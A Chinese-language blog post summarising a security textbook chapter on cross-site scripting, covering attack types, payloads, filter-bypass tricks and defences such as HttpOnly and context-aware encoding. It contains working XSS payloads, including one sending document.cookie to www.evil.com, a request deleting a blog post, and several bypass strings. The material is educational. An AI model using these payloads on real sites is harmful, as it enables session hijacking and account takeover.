zoukankan      html  css  js  c++  java
  • [白帽子讲WEB安全]XSS <Cross Site Script>

    第三章:XSS <Cross Site Script>

    3.1 XSS简介

    通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击<一开始跨域,如今是否跨域已经不重要>

    XSS破坏力强大,且产生的情景复杂,难以一次性解决。现在业内达成的共识是:针对各种不同场景产生的XSS,需要区分情景对待。

    XSS分类:反射型XSS、存储型XSSDOM Based XSS

    反射型XSS又称“非持久性XSS”(Non-persistent XSS),只是简单地把用户输入的数据“反射”给浏览器。

    存储型XSS又称“持久型XSS”,用户输入的数据存储在服务器端,具有很强的稳定性

    DOM Based XSS这种类型并非按照“数据是否保存在服务器端”来划分,从效果上来说也是反射型XSS,但其形成原因较特别。出于历史原因,就把他单独作为一个分类了。修改页面的DOM结点形成XSS,故称之为DOM Based XSS。

    3.2 XSS攻击进阶

    3.2.1 初探XSS Payload

    XSS Payload其实就是一段Javascript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie 劫持”攻击

    Example

    var img = document.createElement(“img”);

    img.src = “http://www.evil.com/log?”+escape(document.cookie);

    document.body.appendChild(img);

    可以通过XSS将这段代码注入到目标页面中,并在最后将document.cookie对象作为参数发送到远程服务器

    获取某个打开的页面的cookie:在浏览器地址栏中输入:

    javascript:alert(document.cookie)

    在当前的WEB中,Cookie一般是用户登陆的凭证,浏览器发起的多有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就可以不用密码登陆用户的账户

    Cookie的“HttpOnly”标识可以防止“Cookie劫持”

    3.2.2 强大的XSS Payload

    Cookie劫持对抗:Set-Cookie时给关键字Cookie植入HttpOnly标识、Cookie与IP绑定

    3.2.2.1 构造GET与POST请求

    GET:

    Example Code :删除文章编号为156713012的文章,攻击者只需让博主执行下面这段JS代码(XSS Payload)

    var img = document.createElement(“img”);

    img.src =  “http://blog.sohu.com/manage/entry.do?m=delete&id=156713012”;

    document.body.appendChild(img);

    POST

    方法一:构造form表单并自动提交<构造DOM节点、innerHTML>

    方法二:通过XMLHttpRequest发送一个POST请求

    攻击者除了可以实施Cookie劫持外,还能够通过模拟GET、POST请求操作用户浏览器

    3.2.2.2 XSS钓鱼

    Example 1:验证码绕过

    对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施---攻击者可以在远程XSS后台接受当前验证码,并将验证码的值返回给当前XSS Payload,从而绕过验证码

    Example 2:密码修改<XSS与钓鱼结合>

    利用JavaScript在当前页面上“画出”一个伪造的登陆框,当用户在登陆框中输入用户名和密码后,其密码将被发送至黑客的服务器

    充分发挥想象力,可以使得XSS攻击的威力更加巨大

    3.2.2.3 识别用户浏览器

    最简单的办法:通过XSS读取浏览器的UserAgent对象

    javascript:alert(navigator.userAgent)

    但是UserAgent可以被伪造,比如Firefox有很多扩展可以屏蔽或自定义浏览器发送的UserAgent,所以JS读取的浏览器对象不一定准确

    更高级的方法:浏览器之间的实现存在差异---不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微的差别,几乎不会误报

    参考代码:P54

    3.2.2.4 识别用户安装的软件

    Example code 1:检测是否有迅雷控件(XunLeiBHO.ThunderIEHelper)

    try{

    var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');

    }cactch(e){

    //异常了,不存在该控件

    }

    Flash的system.capabilities对象,能够查询客户端电脑中的硬件信息

    Firefox的插件:可通过查询“navigator.plugins”对象就可得到所有插件

    Firefox的扩展:略复杂通过检测扩展的图标来判定是否存在该扩展<需借助一个特殊协议:chrome://> Example:检测Flash Got

    var m = new Image();

    m.onload = function() {

    alert(1);//图片存在

    };

    m.onerror = function() {

    alert(2);//图片不存在

    };

    m.src  = “chrome://flashgot/skin/icon32.png”;//链接图片

    3.2.2.5 CSS History Hack<通过CSS 发现一个用户曾经访问过的网站>

    原理:利用style的visited属性---如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。但是Firefox在2010年3月底修补了这个问题

    POC:Proof Of Concept,验证性测试

    3.2.2.6 获取用户的真实IP地址

    JS本身并没有提供获取本地IP的能力,需借助第三方软件,比如JRE,XSS可通过调用JavaApplet的借口获取客户端的本地IP地址

    Example code

    AttackAPI.dom.getInternalIP = function () {

    try {

    var sock = new java.net.Socket();

    sock.bind ( new java.net.InetSocketAddress ( '0.0.0.0' , 0) );

    sock.connect ( new java.net.InetSocketAddress ( document.domain, ( !document.location.port )?80:document.location.port) );

    return sock.getLocalAddress().getHostAddress();

    }catch (e) {}

    return '127.0.0.1';

    };

    另外两个利用java的代码见书中P61

    3.2.3 XSS攻击平台

    Attack API<XSS Payload封装>、BeEF<完整的XSS攻击过程>、XSS-Proxy<轻量级>

    3.2.4 终极武器:XSS Worm

    3.2.4.1 Samy Worm

    过滤危险HTML标签,只保留<a>,<img>,<div>等安全标签

    绕过:允许用户控制标签的style属性,可通过style构造出XSS

    <div style=“background:url('javascript:alert(1)')”>

    过滤“javascript”,“onreadystatechange”

    绕过:拆分法

    return eval (' document.body.inne ' + ' rHTML ');

    3.2.4.2 百度空间蠕虫

    一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS   Worm攻击. (比如,发送站内信、用户留言等页面,都是XSS的高发区,需要重点关注,如果一个页面只能由用户个人查看,比如“个人资料设置”页面,因为缺乏用户之间的互动功能,所以即使存在XSS,也不能被用于XSS Worm传播)

    3.2.5 调试JavaScript

    Firebug , IE 8 Developer Tools , Fiddler , Http Watch

    3.2.6 XSS构造技巧

    3.2.6.1 利用字符编码

    Example: 百度在一个<script>标签中输出了一个变量,其中转义了双引号:

    var redirectUrl = “”;alert(/XSS/);'';   //一般来说没有XSS,因为变量处于双引号中

    但是,百度返回页面采用GBK/GB2312编码,故“%c1”这两个字符组合会成为一个Unicode字符,在firefox中会认为这个一个字符,所以构造:

    %c1”;alert(/XSS/);//

    3.2.6.2 绕过长度限制

    <input type=text value=”$var”>

    XSS构造:

    “><script>alert(/xss/)</script>”

    希望的效果:

    <input type=text value=””><script>alert(/xss/)</script>”/>

    假设长度限制为20个字节,则这段XSS会被切割为:

    “><script>alert(/xss

    攻击者利用事件(Event)来缩短所需要的字节数:

    “onlick=alert(1)”//

    实际输出为:

    Input type=text value=”” onclick=alert(1)//”/>

    但利用“事件”能够缩短的字节数是有限的,最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload

    最常用的一个藏代码的地方就是“location.hash”,不会被记录到WEB日志中

    location.hash本身没有长度限制

    在某些特殊环境下,利用注释符绕过长度限制

    <input id=1 type=”text” value=””>

    xxxxxxxxxxxxxxxxx

    <input id=2 type=”text” value=””>

    输入:

    第一个框:   “><!--

    第二个框:    --><script>alert(/xss/);</script>

    最终效果:

    <input id=1 type=”text” value=””><!--” />

    xxxxxxxxxxxxxxxxxx

    </input id=2 type=”text” value=”--><script>alert(/xss/);</script>” />

    3.2.6.3 使用<base>标签

    定义页面上所有使用“相对路径”标签的hosting地址

    <base>并非只能用于<head>内,而是可以出现在页面任何地方,并且作用于位于该标签之后的所有标签

    <base href=”http://www.evil.com”>

    <script src=”x.js”></script>

    <img src=”y.jpg” />

    <a href=”auth.do”>auth</a>

    在设计xss安全方案时一定要过滤掉该标签

    3.2.6.4 window.name的妙用

    对window.name赋值无长度限制,window对象是浏览器的窗体,非document对象,故不受同源策略限制。攻击者利用这个对象可以实现跨域、跨页面传递数据

    www.a.com/test.html代码

    <body>

    <script>

    window.name=”test”

    alert( document.domain+”     ” + window.name );

    window.location=”http://www.b.com/test1.html”;

    </script>

    </body>

    www.b.com/test1.html

    <body>

    <script>

    alert( document.domain + “   ” + window.name );

    </script>

    </body>

    缩短XSS Payload长度

    <script>

    window.name = “alert(document.cookie)”;

    location.href = “http://www.xssedsite.com/xssed.php”;

    </script>

    在同一窗口打开XSS的站点后,只需通过XSS执行以下代码即可

    eval(name);

    其他技巧请百度:《突破XSS字符数量限制执行任意JS代码》

    3.2.7-变废为宝:Mission Impossible

    3.2.7.1 Apache Expect Header XSS

    服务器出错时,会把Expect头的内容未经任何处理便写入到页面中,因此Expect头中的HTML代码就被浏览器解析执行了。-> 使用Flash构造请求。

    3.2.7.2 Anehta 的回旋镖

    反射型XSS也能想存储型XSS一样利用:将要利用的XSS嵌入一个存储型XSS中

    思路:如果在B域上存在一个反射型XSS B,在A域上存在一个存储型XSS_A,当用户访问A域上的XSS_A时,同时嵌入B域上的XSS_B则可以达到在A域的XSS攻击B域用户的目的。

    3.2.8-容易被忽视的角落:Flash XSS

    Flash中嵌入ActionScript脚本,由于Flash文件如此危险,所以在实现XSS Filter时一般都会禁用<embed>,<object>等标签

    对策:若仅仅是视频文件,则要求转码为flv文件<静态>,若是带动态脚本的flash,则要通过flash的配置进行限制<allowScriptAccess, allowNetworking, XSS过滤>

    3.2.9-真的高枕无忧吗:JavaScript开发框架

    Dojo, YUI, JQuery

    3.3 XSS的防御

    流行的浏览器内置了一些对抗XSS的措施,如FirefoxCSPNoscript扩展,IE8内置的XSS Filter

    3.3.1 四两拨千金:HttpOnly<set-Cookie时设置,需给关键Cookie都加上HttpOnly>

    严格讲:HttpOnly并非为了对抗XSS,它解决的是XSS后的Cookie劫持攻击;设置之后JavaScript读取不到Cookie的值

    绕过:Apache支持的一个HeaderTRACE. TRACE一般用于调试,它会将请求头作为Response Body返回。

    使用HttpOnly有助于缓解XSS攻击,但仍然需要其他能够解决XSS漏洞的方案

    3.3.2 输入检查

    输入检测的逻辑,必须放在服务器端代码中实现。

    目前Web开发的普遍做法,是同时在客户端JS中和服务端代码中实现相同的输入检查。客户端JS输入检查可以阻碍大部分误操作的正常用户,从而节约服务器资源

    在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、”等,如果发现存在特殊字符,则将其过滤或者编码

    比较智能的“输入检查”,可能还会匹配XSS特征,比如查找用户数据中是否包含<script>,javascript等敏感字符。

    这种输入检查的方式被称为XSS Filter

    XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。(恶意JS URL可绕过)

    在大多数情况下,URL是一种合法的用户数据

    XSS Filter还有一个问题----对<,>等字符的处理,可能会改变用户数据的语义

    3.3.3 输出检查

    一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS

    3.3.3.1安全的编码函数

    html:   HtmlEncode:字符转换成HTMLEntities,对应的标准是ISO-8859-1

    至少转换:

    & → &amp

    < → &lt

    > → &gt

    “  → &quot

    ' → &#x27        &apos(不推荐)

    / → &#x2F

    Php:   htmlentities() , htmlspecialchars()

    JavaScript:   JavaScriptEncode

    JaVaScriptEncodeHtmlEncode的编码方式不同,他需要使用“”对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内,以避免造成安全问题

    var x = escapeJavaScript($evil);   //如果escapeJavaScript()只转义几个危险字符:',”,<,>,\,

    var y = '”' + escapeJavaScript($evil) + ''''; //&,#等,那么这两行代码输出后可能会变成如下

    Var x = 1;alert(2);                           //执行了额外代码

    var y = “1;alert(2)”;                       //安全,若想逃逸出括号范围,较困难:

    Var y = “”;alert(1);//”;

    更加严格的JavaScriptEncode:除了数字和字母外的所有字符,都使用十六进制”xHH”方式编码

    var x = 1;alert(2);      →    var x = 1x3balertx282x29;

    XML:   XMLEncode  <HtmlEncode类似>

    Json:   JSONEncode  <JavascriptEncode类似>

    注意:在适当的时候选用适当的函数,编码后的数据长度可能会发生改变,从而影响某些功能,在写代码时需要注意这个细节,以避免产生不必要的bug

    3.3.3.2只需要一种编码吗

    XSS攻击主要发生在MVC架构中的view层,大部分的XSS漏洞可以在模板系统中解决

    对于浏览器来说,htmlparser会优先于JavaScript Parser执行,所以解析过程是,被HtmlEncode的字符先被解码,然后执行JavaScript事件

    导致XSS攻击发生的原因,是由于没有分清楚输出变量的语境

    3.3.4 正确防御XSS

    XSS的本质还是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的l语义

    XSS可能发生的所有场景

    HTML标签中输出         防御:HtmlEncode

    <div>$var</div>

    <a href=# >$var</a>

    <div><script>alert(/xss/)</script></div>

    <a href=# ><img src=# onerror=alert(1) /></a>

    HTML属性中输出              防御:HtmlEncode

    OWASP ESAPI中推荐一种更严格的HtmlEncode--除字母数字外其他所有特殊字符都被编码

    <div id=”abc” name=”$var” ></div>

    <div id=”abc” name=”><script>alert(/xss/)</script><””></div>

    <script>标签中输出             防御:JavascriptEncode

    <script>

    var x = “$var”;

    </script>

    <script>

    var x = “”;alert(/xss/);//”;

    </script>

    在事件中输出                      防御:JavascriptEncode

    <a href=# onclick=”funcA('$var')”>test</a>

    <a href=# onclick=”funcA('');alert(xss);//')”>test</a>

    CSS中输出                       防御:推荐OWASP ESAPI中的encodeForCSS()

    所以,一般来说,尽可能禁止用户可控的变量在<style>标签、HTML标签的style属性以及CSS文件中输出

    在地址中输出                    防御:URLEncode

    一般来说,在URLpath或者search中输出

    <a href=”http://www.evil.com/?test=$var”>test</a>

    <a href=”http://www.evil.com/?test=” onclick=alert(/xss/) “”>test</a>

    URL的组成:[Protocal][Host][Path][Search][Hash]

    Protocal和Host部分是不能够使用URLEncode的,否则会改变URL的语义

    若URL能够被用户完全控制,那么:可构造伪协议攻击

     

    <a href=”var”>test</a>            → <a href=”javascript:alert(1);”>test</a>

    DataURI          能够将一段代码写在URL里,如下:

    <a href=”data:text/html;base64,lkdjfaldkjflkjadlfkjalsdkjfkldjfoirejfkjmcnv=”>test</a>

    以text/html的格式加载编码为base64的数据

    对策:检查变量是否以http开头

    3.3.5 处理富文本<用户提交的一些自定义的HTML代码>

    <script>,<iframe>,<base><form>等,应该被严格禁止

    标签选择上,应该使用白名单,避免使用黑名单。比如,之允许<a>,<img>,<div>等比较安全的标签存在

    尽可能禁止用户自定义CSS与style,如果一定要用,则像过滤富文本一样过滤CSS

    开源项目:Anti-Samy,   HTMLPurify

    3.3.6 防御DOM Based XSS

    DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待

    <script>

    var x = “var”;

    document.write(“<a href = '”+x+”'>test</a>”);

    </script>

        首先,在”$var”输出到<script>时,应该执行一次JacascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待,如果是输出到事件或者脚本,则需再做一次javascriptEncode;如果是要输出到HTML内容或者属性,则要做一次htmlEncode。

    也就是说,从javascript输出到HTML页面,也相当于一次XSS输出过程,需要分语境使用不同的编码函数。

    会触发DOM Based XSS的地方很多,一下几个地方是JavaScript输出到HTML页面的必经之路:

    Document.write()

    Document.writeln()

    Xxx.innerHTML=

    XXX.outerHTML=

    InnerHTML.replace

    Document.attachEvent()

    Window.attachEvent()

    Document.location.replace()

    Document.location.assign()

    ...

    除了上述,一下几个地方也可能成为DOM Based XSS的输入点,需要重点关注

    • 页面中的inputs框
    • window.location(href,hash等)
    • window.name
    • document.referrer
    • document.cookie
    • localstorage
    • XMLHttpRequest返回的数据

    3.3.7 换个角度开xss风险

    一般来说,存储型XSS的风险高于反射型XSS。因为存储型XSS会保存在服务器上,有可能会跨页面存在。它不改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。比喻IE8的XSS Filter和firefox的Noscript Extension,都会检查地址栏中的地址是否包含XSS脚本。而跨页面的存储型XSS可能会绕过这些检测工具。

    攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。比如一个Web邮箱的邮件正文页面存在一个存储型XSSL漏洞,当用户打开一封邮件时,XSS Payload会被执行。这样的漏洞极其隐蔽,且埋伏在用户的正常业务中,风险颇高。

    风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的page view高低,也可以分析出哪些页面受XSS攻击后的影响会更大。比如在网站首页发生的XSS攻击,肯定比网站合作伙伴页面的XSS攻击要严重的多

    在修补XSS漏洞时遇到的醉倒挑战之一就是漏洞数量太多,因此开发者可能来不及,也不愿意修补这些漏洞。从风险角度重新定位每个XSS漏洞,就具有了重要的意义

    3.4 小结

    理论上,XSS漏洞虽然复杂,但却时可以彻底解决的,在设计XSS解决方案时,应该深入理解XSS攻击原理,针对不同的场景使用不同的方法,同时很多开源项目为我们提供了参考

  • 相关阅读:
    transition
    Java自增陷阱
    不同编码格式中,字节和字符的关系
    表单重复提交
    source folder和package的区别
    @test 测试案例不能添加参数
    http协议content-type
    jdbc的缺点和mybatis的优点
    ==和equals的区别
    spring IOC和AOP
  • 原文地址:https://www.cnblogs.com/sevensd/p/5502960.html
Copyright © 2011-2022 走看看